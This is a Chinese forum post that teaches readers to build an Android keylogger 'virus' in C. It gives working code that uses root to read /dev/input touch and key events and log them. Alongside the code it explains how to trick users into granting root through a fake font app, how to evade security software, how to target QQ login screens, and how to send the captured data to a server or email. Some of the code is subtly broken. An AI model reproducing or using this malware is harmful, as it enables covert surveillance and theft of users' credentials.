共有回帖数  0  个 
	 
	
	
	
     
          
          
               
				
			 
				
					 
 
            
				   - 
						
						
							 
									我们要写一个记录键盘输入屏幕记录状态。你不可能让别人去装个c4droid,也不可能让人家去安装你导出的终端程序吧?要想做一个完整的病毒,你需要NDK开发知识。我现在提供的只是一个方法,具体让病毒如何去实现,你就得放入你的程序中。
 安卓的上层是用JAVA写的,而底层则是用C来写的,而上层没有给C提供接口,既然这样,那么我们就直接用C去操作底层。所以,必须得有一个条件,那就是root,没有root的话不行,你可能会说那还有什么用?谁会无缘无故给你root?你可以换位思考一下,既然要root,那么我就写一个root的软件,比如更换字体等等的软件,在用户给root的时候,那你病毒就有机可呈了(咳咳,还是提醒,不良目的者绕道),这就是安卓的恐怖之住,大家使用其他软件也注意了。你可能还会有一个疑问,就是那我直接用JAVA写不更方便吗?不用root,有系统提供的API,用C语言不是多此一举?那你错了,你无缘无故去读取键盘记录,你当安全软件都是摆着而已吗?直接用JAVA安全软件必定会拦截。而用C语言不同,直接去操作底层系统文件,安全软件很难擦觉到(反正我试验了一下lbe是检测不出来的)
 。安卓的触摸事件,还有按键事件是放在dev/input这个目录的,所以我们要操作的是这个目录的文件。其中我们输入的记录也会记录在里面,这时,我们就要写一个循环来不断的监听按键触发情况。
 看到dev/input这个文件夹,我们会看到 event*,mouse*,mice这些文件,同时我们也要注意这点,每个input里面的文件都不一样,有的有到event5,而且是event0,event1,event2,event3,mouse0,mice。每个手机的储存也不一样,大多数手机会储存在event0这个文件,只是大多数,有的不是。现在我们在c4droid上测试一下自己手机是哪个。
 写下面的测试程序,写完以后运行,然后会获取信息,这时你要不停的点击屏幕,看看会输出哪个的值,我是event3有变化,所以我手机需要读取event3。
 
 #include stdlib.h
 int main()
 {
 system("getevent -c 20");
 return 0;
 }
 这个方法只适用于测试,真正用户不会去点击给你知道的,那么我们要怎么办?
 那我们就需要写个DIR文件指针,然后把input文件夹写入到链表中,再写个线程自己写函数判断……(嗯。。。至于这个函数要怎么写呢,这步我思路就提供到这里,剩下的自己想,免得全部说出来有人拿去做坏事)
 
 OK,知道触摸事件是哪个文件之后,我们开始写读取函数。
 需要用到的头文件
 
 #include stdio.h
 #include stdlib.h
 #include time.h
 #include fcntl.h
 #include linux/input.h
 
 我们先来了解一下input_event的结构,
 
 struct input_event {
 struct timeval time; /*时间*/
 __u16 type; /*事件类型*/
 __u16 code; /*按键代码,在安卓上330为触屏,172菜单键,158返回键,其他按键1245也有对应值*/
 __s32 value; /*按键值,例如触摸坐标*,鼠标坐标*/
 };
 其实在终端模拟器下,你照样可以获取屏幕触摸坐标,你不要小看c4droid,不要小看控制台。
 再看看部分type值
 
 //EV_SYN同步事件
 //EV_KEY键盘事件
 //EV_REL相对坐标事件,用于鼠标
 //EV_ABS绝对坐标事件,用于摇杆
 //EV_MSC其他事件
 //EV_LEDLED灯事件
 //EV_SND声音事件
 //EV_REP重复按键事件
 //EV_FF受力事件
 //EV_PWR电源事件
 //EV_FF_STATUS受力状态事件
 
 关于type和code具体值请看头文件input.h
 
 我们把结果储存在SD卡EventRecord.txt中。
 第一步,先写个记录时间函数,我们不用input_event里面提供的。
 
 /* 获取系统时间 */
 char *GetTime()
 {
 static char ch_time[40];
 time_t t;
 struct tm *nowtime;
 time(&t);
 nowtime = localtime(&t);
 strftime(ch_time, sizeof(ch_time), "触发时间:%Y-%m-%d %H:%M:%S",
 nowtime);
 return ch_time;
 }
 时间函数完成。
 第二步,开始读取
 
 /* 定义读取缓存 */
 #define BUFF 32
 
 /* 读取事件驱动返回结果 */
 static int fd = -1;
 /* 输入事件结构体 */
 struct input_event event[BUFF];
 
 /*更改权限*/
 system("su -c chmod 666 /dev/input/event3");
 fd = open("/dev/input/event3", O_RDWR);
 if (fd  0)
 {
 fputs("读取失败!n", fp);
 return -1;
 /* 读取失败直接结束 */
 }
 第三步,开始获取
 
 int readResult;
 /* 读取 */
 readResult = read(fd, event, sizeof(struct input_event) * BUFF);
 
 /*没有事件,直接返回*/
 if (readResult  sizeof(struct input_event))
 {
 return;
 }
 /*过滤手指抬起事件*/
 if (event[0].value == 0)
 {
 return;
 }
 
 发下7楼的图,忘了发了
  
 这样就完成了一个程序读取,我把它合并起来
 
 
 #include stdio.h
 #include stdlib.h
 #include time.h
 #include fcntl.h
 #include linux/input.h
 
 /* 定义读取缓存 */
 #define BUFF 32
 
 /* 记录 */
 static int RECORD = 1;
 /* 储存文件 */
 static FILE *fp;
 /* 读取事件驱动返回结果 */
 static int fd = -1;
 
 /* 输入事件结构体 */
 struct input_event event[BUFF];
 
 /* 获取系统时间 */
 char *GetTime()
 {
 static char ch_time[40];
 time_t t;
 struct tm *nowtime;
 time(&t);
 nowtime = localtime(&t);
 strftime(ch_time, sizeof(ch_time), "触发时间:%Y-%m-%d %H:%M:%S",nowtime);
 return ch_time;
 }
 
 void GetEvent()
 {
 int i, readResult;
 /* 读取 */
 readResult = read(fd, event, sizeof(struct input_event) * BUFF);
 if (readResult  sizeof(struct input_event))
 {
 return;
 }
 if (event[0].value == 0)
 {
 /* 过滤抬起事件 */
 return;
 }
 fputs(GetTime(), fp);
 fputs("n", fp);
 for (i = 0; i  readResult / sizeof(struct input_event); i++)
 {
 fscanf(fp, "Event%d:type: %3d code: %5d value: %5dn", &i,
 &event.type, &event.code, &event.value);
 
 fprintf(fp, "Event%d:type: %3d code: %5d value: %5dn", i,event.type, event.code, event.value);
 }
 }
 
 int main(int argc, char *argv[])
 {
 fp = fopen("/sdcard/EventRecord.txt", "wb");
 /*更改权限*/
 system("su -c chmod 666 /dev/input/event3");
 fd = open("/dev/input/event3", O_RDWR); //具体根据自己手机修改
 if (fd  0)
 {
 fputs("读取失败!n", fp);
 return -1;
 /* 读取失败直接结束 */
 }
 while (RECORD)
 {
 GetEvent();
 }
 close(fd);
 fclose(fp);
 return 0;
 }
 一个监控程序就完成了,我把RECORD设置为了1,程序会一直读取,这样产生的文件很大,我们也无法获取正确信息。真正病毒我们不能这样,上面做法我们只是用来测试,如果是真正病毒,我们需要调用上层JAVA来控制,我们如何去过滤用户的垃圾事件?剩下的就是交给JAVA了,我们要在上层监控用户状态,还有键盘状态,例如键盘是否处于展开(这个安全软件是不会报毒的),还有判断当前屏幕的Activity状态,例如处于QQ的登入Activity就开始记录,如果是处于聊天Activity,那么就没必要了。我们可以把结果发送到服务器,发送到自己邮件等等都可以,上面为了测试,我保存到了本地文件中。
 楼主 2015-07-28 08:56 回复 
 
 
   
             
                  
                  
 
 
 
     
	 
  
	Copyright © 2010~2015 直线网 版权所有,All Rights Reserved.沪ICP备10039589号
	
	意见反馈 | 
	关于直线 | 
	版权声明 | 
	会员须知